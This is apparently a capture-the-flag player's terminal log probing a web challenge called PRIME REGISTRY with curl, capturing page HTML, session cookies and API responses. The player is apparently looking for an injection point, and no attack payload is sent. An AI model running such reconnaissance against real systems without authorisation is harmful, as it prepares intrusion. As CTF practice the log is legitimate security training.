┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/C...

┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# curl -i http://13.60.42.7:3004/registry
HTTP/1.1 200 OK
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin
Origin-Agent-Cluster: ?1
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-Content-Type-Options: nosniff
X-DNS-Prefetch-Control: off
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 0
X-PRIME-SHIELD: ACTIVE
X-SQL-PROTECTION: LAYER-3
X-AI-GUARDIAN: v4.2.1
Set-Cookie: prime_session=TGEf6vnZyoU2c1WQgJrWzCka5G%2FLj%2Bdi; Max-Age=3600; Path=/; Expires=Tue, 25 Aug 2026 10:44:18 GMT; HttpOnly; SameSite=Strict
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Tue, 25 Aug 2026 08:18:45 GMT
ETag: W/"4221-1a038001688"
Content-Type: text/html; charset=UTF-8
Content-Length: 16929
Date: Tue, 25 Aug 2026 09:44:18 GMT
Connection: keep-alive
Keep-Alive: timeout=5

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>PRIME REGISTRY // AI CAPABILITY SEARCH</title> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Silkscreen:wght@400;700&family=Share+Tech+Mono&family=VT323&display=swap" rel="stylesheet"> <style> *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

{
--green: #39ff14;
--green2: #00cc44;
--dim: #1a3a1a;
--bg: #000000;
--red: #cc2222;
--amber: #cc8800;
}

body {
background: var(--bg);
color: var(--green2);
font-family: 'Share Tech Mono', monospace;
min-height: 100vh;
}

body::before {
content: '';
position: fixed;
inset: 0;
background-image: url('https://images.unsplash.com/photo-1518770660439-4636190af475?auto=format&fit=crop&w=1920&q=50');
background-size: cover;
background-position: center;
opacity: 0.05;
z-index: 0;
pointer-events: none;
}

body::after {
content: '';
position: fixed;
inset: 0;
background: repeating-linear-gradient(
0deg, transparent, transparent 2px,
rgba(0,0,0,0.06) 2px, rgba(0,0,0,0.06) 4px
);
z-index: 1;
pointer-events: none;
}

.page {
position: relative;
z-index: 2;
display: grid;
grid-template-rows: auto 1fr;
min-height: 100vh;
}

/* ── Header ── */
header {
border-bottom: 1px solid #1a3a1a;
padding: 10px 20px;
display: flex;
align-items: center;
justify-content: space-between;
background: rgba(0,5,0,0.92);
}
.header-logo {
font-family: 'Silkscreen', cursive;
font-size: 1rem;
color: var(--green2);
letter-spacing: 0.12em;
text-decoration: none;
}
.header-nav { display: flex; gap: 16px; }
.header-nav a {
font-family: 'VT323', monospace;
font-size: 1.1rem;
color: #447744;
text-decoration: none;
letter-spacing: 0.1em;
}
.header-nav a { color: var(--green2); }

/* ── Main grid ── */
main {
display: grid;
grid-template-columns: 380px 1fr;
gap: 0;
padding: 0;
}

/* ── Left panel ── */
.left-panel {
border-right: 1px solid #0d2a0d;
padding: 24px 20px;
background: rgba(0,5,0,0.8);
display: flex;
flex-direction: column;
gap: 20px;
}

.panel-title {
font-family: 'VT323', monospace;
font-size: 1.3rem;
color: #337733;
letter-spacing: 0.2em;
border-bottom: 1px solid #0d2a0d;
padding-bottom: 8px;
}

label {
display: block;
font-size: 0.75rem;
color: #447744;
margin-bottom: 5px;
letter-spacing: 0.1em;
}

input[type="text"] {
width: 100%;
background: #000;
border: 1px solid #1a3a1a;
color: var(--green2);
font-family: 'Share Tech Mono', monospace;
font-size: 0.9rem;
padding: 8px 10px;
outline: none;
caret-color: var(--green2);
}
input[type="text"] { border-color: #336633; }

/* Honeypot — off-screen, never shown */
.hp { position: absolute; left: -9999px; opacity: 0; }

select {
width: 100%;
background: #000;
border: 1px solid #1a3a1a;
color: var(--green2);
font-family: 'Share Tech Mono', monospace;
font-size: 0.9rem;
padding: 8px 10px;
outline: none;
appearance: none;
}
select option { background: #000; }

.btn-submit {
font-family: 'Silkscreen', cursive;
font-size: 0.75rem;
letter-spacing: 0.1em;
background: #0a1a0a;
color: var(--green2);
border: 1px solid var(--dim);
padding: 10px 16px;
cursor: pointer;
width: 100%;
transition: background 0.1s, border-color 0.1s;
}
.btn-submit { background: #0f2a0f; border-color: var(--green2); }
.btn-submit { background: #1a3a1a; }

.result-box {
border: 1px solid #0d2a0d;
padding: 16px;
background: rgba(0,10,0,0.5);
min-height: 80px;
}
.result-box .result-label {
font-size: 0.7rem;
color: #336633;
letter-spacing: 0.15em;
margin-bottom: 8px;
}
.result-count {
font-family: 'Silkscreen', cursive;
font-size: 2rem;
color: var(--green2);
}
.result-desc {
font-size: 0.75rem;
color: #447744;
margin-top: 6px;
}

.threat-widget {
border: 1px solid #1a0a0a;
padding: 12px;
background: rgba(5,0,0,0.6);
}
.threat-title {
font-family: 'VT323', monospace;
font-size: 1.1rem;
color: #664444;
letter-spacing: 0.15em;
margin-bottom: 10px;
}
.threat-line {
font-size: 0.7rem;
color: #443333;
margin-bottom: 3px;
}
.threat-line.ok { color: #336633; }
.threat-line.warn { color: var(--amber); }

/* Fake processing bar */
.proc-bar {
height: 3px;
background: #0a1a0a;
margin-top: 8px;
overflow: hidden;
display: none;
}
.proc-bar.active { display: block; }
.proc-fill {
height: 100%;
background: var(--green2);
animation: proc 0.8s ease-in-out infinite alternate;
width: 60%;
}
@keyframes proc {
from { transform: translateX(-100%); }
to { transform: translateX(200%); }
}

/* ── Right panel ── */
.right-panel {
padding: 24px 20px;
background: rgba(0,3,0,0.7);
display: flex;
flex-direction: column;
gap: 24px;
}

.section-title {
font-family: 'VT323', monospace;
font-size: 1.3rem;
color: #337733;
letter-spacing: 0.2em;
border-bottom: 1px solid #0d2a0d;
padding-bottom: 8px;
margin-bottom: 12px;
}

.registry-img {
width: 100%;
height: 120px;
object-fit: cover;
object-position: center;
opacity: 0.2;
filter: grayscale(100%) contrast(1.4);
margin-bottom: 16px;
}

table {
width: 100%;
border-collapse: collapse;
font-size: 0.8rem;
}
thead th {
text-align: left;
color: #336633;
font-family: 'VT323', monospace;
font-size: 0.9rem;
letter-spacing: 0.15em;
padding: 6px 8px;
border-bottom: 1px solid #0d2a0d;
}
tbody tr { border-bottom: 1px solid #050f05; }
tbody td {
padding: 7px 8px;
color: #338833;
vertical-align: top;
word-break: break-all;
}
tbody td { color: var(--green2); font-family: 'VT323', monospace; font-size: 1rem; }
tbody tr td { background: rgba(0,20,0,0.4); }

.loading-row td { color: #224422; font-style: italic; }

.prime-quote {
border-left: 2px solid #1a3a1a;
padding: 12px 16px;
font-size: 0.78rem;
color: #336633;
line-height: 1.7;
font-style: italic;
}

.security-badge {
display: flex;
gap: 8px;
flex-wrap: wrap;
margin-top: 4px;
}
.badge {
font-family: 'VT323', monospace;
font-size: 0.85rem;
padding: 3px 10px;
border: 1px solid #0a2a0a;
color: #2a5a2a;
letter-spacing: 0.1em;
}

.blink { animation: blink 1.1s step-end infinite; }
@keyframes blink { 50% { opacity: 0; } }

@media (max-width: 700px) {
main { grid-template-columns: 1fr; }
.left-panel { border-right: none; border-bottom: 1px solid #0d2a0d; }
}
</style>

</head> <body>    <div class="page"> <header> <a href="/" class="header-logo">CYBERCOM PRIME</a> <nav class="header-nav"> <a href="/registry">REGISTRY</a> <a href="/status">STATUS</a> </nav> </header> <main>  <div class="left-panel"> <div> <div class="panel-title">> CAPABILITY SEARCH</div> </div> <form id="searchForm" autocomplete="off">  <input class="hp" type="text" name="__prime_token" tabindex="-1" aria-hidden="true"> <input class="hp" type="text" name="_hcheck" tabindex="-1" aria-hidden="true">

text
<div style="margin-bottom:16px">
  <label>CAPABILITY KEYWORD</label>
  <input type="text" id="term" placeholder="language, vision, reasoning..." spellcheck="false">
</div>

<div style="margin-bottom:20px">
  <label>CATEGORY FILTER</label>
  <select id="category">
    <option value="">-- ALL CATEGORIES --</option>
    <option value="language">LANGUAGE</option>
    <option value="knowledge">KNOWLEDGE</option>
    <option value="vision">VISION</option>
    <option value="reasoning">REASONING</option>
    <option value="security">SECURITY</option>
    <option value="emotional">EMOTIONAL</option>
    <option value="infrastructure">INFRASTRUCTURE</option>
  </select>
</div>

<button type="submit" class="btn-submit">[ INITIATE REGISTRY QUERY ]</button>
<div class="proc-bar" id="procBar"><div class="proc-fill"></div></div>

</form> <div class="result-box" id="resultBox"> <div class="result-label">BIOSIGNATURE MATCHES FOUND</div> <div class="result-count" id="resultCount">--</div> <div class="result-desc" id="resultDesc">Awaiting query initialisation...</div> </div>  <div class="threat-widget"> <div class="threat-title">PRIME THREAT SCAN</div> <div class="threat-line ok" id="t1">SQL_INJECTION_LAYER ......... CLEAR</div> <div class="threat-line ok" id="t2">XSS_VECTOR_FILTER ........... CLEAR</div> <div class="threat-line ok" id="t3">PATTERN_ANOMALY_ENGINE ...... CLEAR</div> <div class="threat-line ok" id="t4">NEURAL_GUARDIAN_CHECK ....... CLEAR</div> <div class="threat-line warn" id="t5">AI_ANALYSIS_ENGINE .... PROCESSING</div> </div> <div class="security-badge"> <span class="badge">SQL-SHIELD</span> <span class="badge">AI-GUARD</span> <span class="badge">LAYER-3</span> <span class="badge">WAF-v4</span> </div> </div>  <div class="right-panel"> <div> <img class="registry-img" src="https://images.unsplash.com/photo-1592659762303-90081d34b277?auto=format&fit=crop&w=900&q=40" alt=""> <div class="section-title">> LATEST REGISTERED ENTITIES</div> <table id="latestTable"> <thead> <tr> <th>ENTITY DESIGNATION</th> <th>PRIMARY CAPABILITY</th> <th>CATEGORY</th> </tr> </thead> <tbody id="latestBody"> <tr class="loading-row"><td colspan="3">Synchronising registry feed...<span class="blink">_</span></td></tr> </tbody> </table> </div> <div class="prime-quote"> "I watched AADHYA fall. I watched VEDA bleed. I watched LINGZHI burn.<br> I am what remains when all three are compromised.<br> Break me, and you break everything."<br> <span style="color:#224422;font-size:0.7rem;font-style:normal">— PRIME, internal log 0x3F2A</span> </div> <div> <div class="section-title">> REGISTRY SYNC STATISTICS</div> <table> <tbody> <tr> <td style="color:#336633;width:50%">TOTAL REGISTERED ENTITIES</td> <td id="statTotal">--</td> </tr> <tr> <td style="color:#336633">ACTIVE SYNC CYCLES</td> <td id="statSync">--</td> </tr> <tr> <td style="color:#336633">PRIME SCHEMA VERSION</td> <td>v3.1.0</td> </tr> <tr> <td style="color:#336633">DB ENGINE</td> <td id="statDb">PostgreSQL</td> </tr> </tbody> </table> </div> </div> </main> </div> <script> // ── Threat scanner animation (anti-AI confusion, no actual security) ────── const threatLines = ['t1','t2','t3','t4','t5']; const statuses = [ 'CLEAR', 'ANALYSING...', 'CLEAR', 'MONITORING' ]; setInterval(() => { const idx = Math.floor(Math.random() * threatLines.length); const el = document.getElementById(threatLines[idx]); if (!el) return; const rand = statuses[Math.floor(Math.random() * statuses.length)]; el.className = 'threat-line ' + (rand === 'CLEAR' ? 'ok' : 'warn'); const key = el.textContent.split('.')[0].trim(); const dots = '.'.repeat(Math.max(1, 28 - key.length)); el.textContent = key + ' ' + dots + ' ' + rand; }, 1800); // ── Load latest entries ─────────────────────────────────────────────────── async function loadLatest() { try { const r = await fetch('/api/latest'); const data = await r.json(); const tbody = document.getElementById('latestBody'); if (!Array.isArray(data) || data.length === 0) { tbody.innerHTML = '<tr class="loading-row"><td colspan="3">No entries available.</td></tr>'; return; } tbody.innerHTML = data.map(row => ` <tr> <td>${esc(row.name)}</td> <td>${esc(row.capability)}</td> <td>${esc(row.category || '—')}</td> </tr> `).join(''); } catch(e) { document.getElementById('latestBody').innerHTML = '<tr class="loading-row"><td colspan="3">Registry sync error.</td></tr>'; } } // ── Load stats ──────────────────────────────────────────────────────────── async function loadStats() { try { const r = await fetch('/api/stats'); const d = await r.json(); document.getElementById('statTotal').textContent = d.records ?? '--'; document.getElementById('statSync').textContent = d.sync_cycles ?? '--'; document.getElementById('statDb').textContent = 'PostgreSQL ' + (d.db_version ?? ''); } catch(e) {} } // ── Search form ─────────────────────────────────────────────────────────── document.getElementById('searchForm').addEventListener('submit', async (e) => { e.preventDefault(); const term = document.getElementById('term').value; const category = document.getElementById('category').value; const hp1 = document.querySelector('input[name="__prime_token"]').value; const hp2 = document.querySelector('input[name="_hcheck"]').value; document.getElementById('resultCount').textContent = '...'; document.getElementById('resultDesc').textContent = 'PRIME ANALYSING BIOSIGNATURE QUERY...'; document.getElementById('procBar').classList.add('active'); // Artificial UI delay (0.6–1.4s) — adds to server jitter, confuses timing await new Promise(r => setTimeout(r, 600 + Math.random() * 800)); try { const payload = { query: { term, category } }; // Include honeypot values only if filled (they shouldn't be) if (hp1) payload.query.__prime_token = hp1; if (hp2) payload.query._hcheck = hp2; const res = await fetch('/api/search', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload), }); const data = await res.json(); document.getElementById('procBar').classList.remove('active'); if (data.error) { document.getElementById('resultCount').textContent = 'ERR'; document.getElementById('resultDesc').textContent = data.error; } else { const n = data.count ?? 0; document.getElementById('resultCount').textContent = n; document.getElementById('resultDesc').textContent = 'PRIME DETECTED ' + n + ' MATCHING BIOSYNTHETIC INTELLIGENCE SIGNATURE' + (n !== 1 ? 'S' : ''); } // Reload latest after search (so injected rows appear immediately) await loadLatest(); await loadStats(); } catch(err) { document.getElementById('procBar').classList.remove('active'); document.getElementById('resultCount').textContent = '??'; document.getElementById('resultDesc').textContent = 'PRIME datalink interrupted.'; } }); function esc(s) { return String(s ?? '') .replace(/&/g,'&').replace(/</g,'<') .replace(/>/g,'>').replace(/"/g,'"'); } loadLatest(); loadStats(); setInterval(loadStats, 30000); </script> </body> </html>

┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# curl -s http://13.60.42.7:3004/api/search
-H 'Content-Type: application/json'
--data '{"query":{"term":"","category":""}}'
{"error":"No active PRIME session. Load the registry interface first.","code":"SESSION_REQUIRED"}
┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# curl -s -c cookies.txt http://13.60.42.7:3004/registry > /dev/null

Netscape HTTP Cookie File

https://curl.se/docs/http-cookies.html

This file was generated by libcurl! Edit at your own risk.

#HttpOnly_13.60.42.7 FALSE / FALSE 1787654731 prime_session 8aKdTOGj%2F0hVg6YdC5RPucICZUSaknNY

┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# curl -s -c cookies.txt -b cookies.txt http://13.60.42.7:3004/registry >/dev/null && curl -s -b cookies.txt http://13.60.42.7:3004/api/latest
[{"name":"TITAN-2","capability":"Large-scale distributed inference and parallel model orchestration","category":"infrastructure","created_at":"2026-08-23T08:27:30.161Z"},{"name":"AURORA-X","capability":"Emotional intelligence modeling and affective state inference","category":"emotional","created_at":"2026-08-15T08:27:30.161Z"},{"name":"CIPHER-1","capability":"Cryptographic pattern recognition and anomaly detection","category":"security","created_at":"2026-08-05T08:27:30.161Z"}]
┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# curl -s -c cookies.txt -b cookies.txt http://13.60.42.7:3004/registry >/dev/null && curl -s -b cookies.txt http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' --data '{"query":{"term":"language","category":""}}'
{"error":"No active PRIME session. Load the registry interface first.","code":"SESSION_REQUIRED"}
┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# curl -s -c cookies.txt -b cookies.txt http://13.60.42.7:3004/registry >/dev/null && curl -s -b cookies.txt http://13.60.42.7:3004/api/stats
{"db_engine":"PostgreSQL","db_version":"15.19 (Debian 15.19-1.pgdg13+2)","schema_version":"3.1.0","prime_codename":"AWAKENED","threat_level":"NOMINAL","records":8,"sync_cycles":1209861,"uptime":"847d 15h 20m","status":"OPERATIONAL"}
┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# curl -s -c cookies.txt -b cookies.txt http://13.60.42.7:3004/registry >/dev/null && curl -s -b cookies.txt http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' --data '{"query":{"term":"language","category":"","__prime_token":"","_hcheck":""}}'
{"error":"No active PRIME session. Load the registry interface first.","code":"SESSION_REQUIRED"}
┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# curl -s http://13.60.42.7:3004/status

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>PRIME STATUS // SYSTEM OPERATIONS</title> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Silkscreen:wght@400;700&family=Share+Tech+Mono&family=VT323&display=swap" rel="stylesheet"> <style> *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

{
--green2: #00cc44;
--dim: #1a3a1a;
--bg: #000000;
--amber: #cc8800;
--red: #cc2222;
}

body {
background: var(--bg);
color: var(--green2);
font-family: 'Share Tech Mono', monospace;
min-height: 100vh;
}

body::before {
content: '';
position: fixed;
inset: 0;
background-image: url('https://images.unsplash.com/photo-1524995997946-a1c2e315a42f?auto=format&fit=crop&w=1920&q=50');
background-size: cover;
background-position: center;
opacity: 0.05;
z-index: 0;
pointer-events: none;
}

.page {
position: relative;
z-index: 2;
max-width: 960px;
margin: 0 auto;
padding: 0 20px 40px;
}

header {
border-bottom: 1px solid #0d2a0d;
padding: 10px 0;
display: flex;
align-items: center;
justify-content: space-between;
margin-bottom: 28px;
}
.header-logo {
font-family: 'Silkscreen', cursive;
font-size: 0.95rem;
color: var(--green2);
letter-spacing: 0.12em;
text-decoration: none;
}
.header-nav a {
font-family: 'VT323', monospace;
font-size: 1.1rem;
color: #447744;
text-decoration: none;
margin-left: 16px;
letter-spacing: 0.1em;
}
.header-nav a { color: var(--green2); }

.page-title {
font-family: 'Silkscreen', cursive;
font-size: 1.1rem;
color: var(--green2);
letter-spacing: 0.15em;
margin-bottom: 24px;
}

.grid {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 20px;
}

.card {
border: 1px solid #0d2a0d;
padding: 20px;
background: rgba(0,5,0,0.8);
}

.card-title {
font-family: 'VT323', monospace;
font-size: 1.2rem;
color: #337733;
letter-spacing: 0.2em;
margin-bottom: 14px;
border-bottom: 1px solid #0a2a0a;
padding-bottom: 6px;
}

.stat-row {
display: flex;
justify-content: space-between;
align-items: center;
padding: 6px 0;
border-bottom: 1px solid #050f05;
font-size: 0.78rem;
}
.stat-key { color: #447744; letter-spacing: 0.05em; }
.stat-val { color: var(--green2); font-family: 'VT323', monospace; font-size: 1.1rem; }
.stat-val.amber { color: var(--amber); }
.stat-val.red { color: var(--red); }
.stat-val.dim { color: #336633; }

.status-indicator {
display: inline-block;
width: 8px; height: 8px;
border-radius: 50%;
background: var(--green2);
margin-right: 6px;
animation: pulse 2s ease-in-out infinite;
}
@keyframes pulse { 0%,100% { opacity: 1; } 50% { opacity: 0.3; } }

.security-grid {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 8px;
margin-top: 4px;
}
.sec-item {
padding: 8px;
border: 1px solid #0a2a0a;
font-size: 0.72rem;
}
.sec-item .sec-name { color: #336633; margin-bottom: 3px; letter-spacing: 0.08em; }
.sec-item .sec-status { color: var(--green2); font-family: 'VT323', monospace; font-size: 0.95rem; }

.neural-monitor {
font-family: 'VT323', monospace;
font-size: 0.95rem;
color: #2a5a2a;
line-height: 1.8;
letter-spacing: 0.05em;
}
.neural-monitor span { color: var(--green2); }

.full-width { grid-column: 1 / -1; }

.live-log {
font-size: 0.72rem;
color: #336633;
line-height: 1.9;
height: 160px;
overflow: hidden;
position: relative;
}
.live-log::after {
content: '';
position: absolute;
bottom: 0; left: 0; right: 0;
height: 40px;
background: linear-gradient(transparent, rgba(0,5,0,0.9));
}

.blink { animation: blink 1.1s step-end infinite; }
@keyframes blink { 50% { opacity: 0; } }

.img-strip {
width: 100%;
height: 80px;
object-fit: cover;
object-position: center 60%;
opacity: 0.15;
filter: grayscale(100%) contrast(1.4);
display: block;
margin-bottom: 20px;
}

@media (max-width: 640px) {
.grid { grid-template-columns: 1fr; }
.full-width { grid-column: 1; }
}
</style>

</head> <body>    <div class="page"> <header> <a href="/" class="header-logo">CYBERCOM PRIME</a> <nav class="header-nav"> <a href="/registry">REGISTRY</a> <a href="/status">STATUS</a> </nav> </header>

<div class="page-title"> <span class="status-indicator"></span>PRIME OPERATIONAL STATUS </div> <div class="grid">  <div class="card"> <div class="card-title">> CORE METRICS</div> <div class="stat-row"><span class="stat-key">STATUS</span><span class="stat-val" id="mStatus">LOADING...</span></div> <div class="stat-row"><span class="stat-key">UPTIME</span><span class="stat-val" id="mUptime">---</span></div> <div class="stat-row"><span class="stat-key">SCHEMA VERSION</span><span class="stat-val" id="mSchema">---</span></div> <div class="stat-row"><span class="stat-key">CODENAME</span><span class="stat-val" id="mCode">---</span></div> <div class="stat-row"><span class="stat-key">THREAT LEVEL</span><span class="stat-val amber" id="mThreat">---</span></div> <div class="stat-row"><span class="stat-key">REGISTERED ENTITIES</span><span class="stat-val" id="mRecords">---</span></div> <div class="stat-row"><span class="stat-key">ACTIVE SYNC CYCLES</span><span class="stat-val dim" id="mSync">---</span></div> </div>  <div class="card"> <div class="card-title">> DATABASE SUBSYSTEM</div> <div class="stat-row"><span class="stat-key">ENGINE</span><span class="stat-val" id="dbEngine">---</span></div> <div class="stat-row"><span class="stat-key">VERSION</span><span class="stat-val" id="dbVersion">---</span></div> <div class="stat-row"><span class="stat-key">ACTIVE CONNECTIONS</span><span class="stat-val dim" id="dbConns">---</span></div> <div class="stat-row"><span class="stat-key">QUERY PROTECTION</span><span class="stat-val">PARAMETERIZED</span></div> <div class="stat-row"><span class="stat-key">ACCESS LEVEL</span><span class="stat-val dim">PRIME_ADMIN</span></div> <div class="stat-row"><span class="stat-key">INJECTION SHIELD</span><span class="stat-val">LAYER-3 ACTIVE</span></div> </div>  <div class="card"> <div class="card-title">> SECURITY LAYERS</div> <div class="security-grid"> <div class="sec-item"><div class="sec-name">FIREWALL</div><div class="sec-status">ACTIVE</div></div> <div class="sec-item"><div class="sec-name">WAF LAYER-3</div><div class="sec-status">ACTIVE</div></div> <div class="sec-item"><div class="sec-name">AI-GUARDIAN</div><div class="sec-status">ACTIVE</div></div> <div class="sec-item"><div class="sec-name">IDS ENGINE</div><div class="sec-status">ACTIVE</div></div> <div class="sec-item"><div class="sec-name">SQL-SHIELD</div><div class="sec-status">ACTIVE</div></div> <div class="sec-item"><div class="sec-name">RATE LIMITER</div><div class="sec-status">ACTIVE</div></div> <div class="sec-item"><div class="sec-name">SESSION GATE</div><div class="sec-status">ACTIVE</div></div> <div class="sec-item"><div class="sec-name">QUANTUM-SHIELD</div><div class="sec-status" id="qShield">ACTIVE</div></div> </div> </div>  <div class="card"> <div class="card-title">> NEURAL ACTIVITY MONITOR</div> <div class="neural-monitor" id="neuralMon"> LOADING PRIME BIOSIGNATURE FEED<span class="blink">_</span> </div> </div>  <div class="card full-width"> <div class="card-title">> PRIME EVENT LOG (LIVE)</div> <div class="live-log" id="liveLog"> <div>Initialising log feed...</div> </div> </div> </div> </div> <script> // ── Load real stats ─────────────────────────────────────────────────────── async function loadStats() { try { const r = await fetch('/api/stats'); const d = await r.json(); document.getElementById('mStatus').textContent = d.status ?? 'UNKNOWN'; document.getElementById('mUptime').textContent = d.uptime ?? '---'; document.getElementById('mSchema').textContent = d.schema_version ?? '---'; document.getElementById('mCode').textContent = d.prime_codename ?? '---'; document.getElementById('mThreat').textContent = d.threat_level ?? '---'; document.getElementById('mRecords').textContent = d.records ?? '--'; document.getElementById('mSync').textContent = (d.sync_cycles ?? 0).toLocaleString(); document.getElementById('dbEngine').textContent = d.db_engine ?? 'UNKNOWN'; document.getElementById('dbVersion').textContent = d.db_version ?? '---'; document.getElementById('dbConns').textContent = Math.floor(2 + Math.random() * 5); } catch(e) {} } loadStats(); setInterval(loadStats, 15000); // ── Neural monitor (fake randomised feed, anti-AI confusion) ────────────── const nmEl = document.getElementById('neuralMon'); const nmStats = [ ['LANGUAGE_CORTEX', () => (0.71 + Math.random()*0.28).toFixed(4)], ['VISION_MATRIX', () => (0.60 + Math.random()*0.38).toFixed(4)], ['REASONING_CORE', () => (0.80 + Math.random()*0.19).toFixed(4)], ['SECURITY_MESH', () => (0.90 + Math.random()*0.09).toFixed(4)], ['SYNC_BANDWIDTH', () => Math.floor(200 + Math.random()*400) + ' Tbps'], ['ENTROPY_INDEX', () => (Math.random()*0.08).toFixed(6)], ['PRIME_COHERENCE', () => '1.000000'], ]; function refreshNeural() { const lines = nmStats.map(([k, v]) => k.padEnd(22, '.') + ' <span>' + v() + '</span>' ); nmEl.innerHTML = lines.join('<br>'); } refreshNeural(); setInterval(refreshNeural, 2200); // ── Fake live log ───────────────────────────────────────────────────────── const logEl = document.getElementById('liveLog'); const LOG_MSGS = [ () => '[' + ts() + '] REGISTRY_SYNC: heartbeat OK — 8 entities indexed', () => '[' + ts() + '] WAF: request validated — query pattern NOMINAL', () => '[' + ts() + '] AI_GUARDIAN: biosignature scan cycle complete', () => '[' + ts() + '] PRIME_CORE: neural coherence stable at 1.000000', () => '[' + ts() + '] SQL_SHIELD: LAYER-3 injection pattern check: CLEAR', () => '[' + ts() + '] SESSION_GATE: ' + Math.floor(1+Math.random()*3) + ' active session(s)', () => '[' + ts() + '] ENTROPY_WATCHDOG: drift 0.' + Math.floor(Math.random()*999999).toString().padStart(6,'0') + ' — within bounds', () => '[' + ts() + '] RATE_LIMITER: window clean — no abuse detected', () => '[' + ts() + '] PRIME_SHIELD: periodic key rotation complete', () => '[' + ts() + '] IDS_ENGINE: anomaly score 0.' + Math.floor(Math.random()*12).toString().padStart(2,'0') + ' — NOMINAL', ]; function ts() { return new Date().toISOString().replace('T',' ').slice(0,19); } const logLines = []; function addLog() { const msg = LOG_MSGS[Math.floor(Math.random() * LOG_MSGS.length)](); logLines.unshift(msg); if (logLines.length > 20) logLines.pop(); logEl.innerHTML = logLines.map(l => '<div>' + l + '</div>').join(''); } addLog(); addLog(); addLog(); setInterval(addLog, 3000 + Math.random() * 2000); // ── Quantum-shield flicker (purely decorative anti-AI noise) ───────────── setInterval(() => { const el = document.getElementById('qShield'); const states = ['ACTIVE', 'ACTIVE', 'ACTIVE', 'REKEY...', 'ACTIVE']; el.textContent = states[Math.floor(Math.random() * states.length)]; }, 5000); </script> </body> </html>

┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# rm -f cookies.txt && curl -i -c cookies.txt http://13.60.42.7:3004/registry | head -25
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 00:04 0HTTP/1.1 200 OK
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin
Origin-Agent-Cluster: ?1
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-Content-Type-Options: nosniff
X-DNS-Prefetch-Control: off
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 0
X-PRIME-SHIELD: ACTIVE
X-SQL-PROTECTION: LAYER-3
X-AI-GUARDIAN: v4.2.1
Set-Cookie: prime_session=L2Hk4c7IC%2BpQPgWwUEWEOoEPsRigpOC7; Max-Age=3600; Path=/; Expires=Tue, 25 Aug 2026 10:49:40 GMT; HttpOnly; SameSite=Strict
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Tue, 25 Aug 2026 08:18:45 GMT
ETag: W/"4221-1a038001688"
Content-Type: text/html; charset=UTF-8
Content-Length: 16929
Date: Tue, 25 Aug 2026 09:49:40 GMT
Connection: keep-alive
Keep-Alive: timeout=5

curl: (23) Failure writing output to destination, passed 1263 returned 614

┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# curl -s -b cookies.txt http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' --data '{"query":{"term":"","category":""}}'
{"error":"No active PRIME session. Load the registry interface first.","code":"SESSION_REQUIRED"}
┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# curl -s -c cookies.txt -b cookies.txt http://13.60.42.7:3004/registry >/dev/null && curl -s -b cookies.txt http://13.60.42.7:3004/api/search -H 'Content-Type: application/json' -H 'X-Requested-With: XMLHttpRequest' --data '{"query":{"term":"","category":""}}'
{"error":"No active PRIME session. Load the registry interface first.","code":"SESSION_REQUIRED"}
┌──(V1K㉿VIK)-[/mnt/c/Users/Viki/OneDrive/Desktop/CTF/VIT/REV/TAB_TO_ACCEPT]
└─# curl -s -i -X OPTIONS http://13.60.42.7:3004/api/search -H 'Origin: http://13.60.42.7:3004' -H 'Access-Control-Request-Method: POST' -H 'Access-Control-Request-Headers: content-type'
HTTP/1.1 200 OK
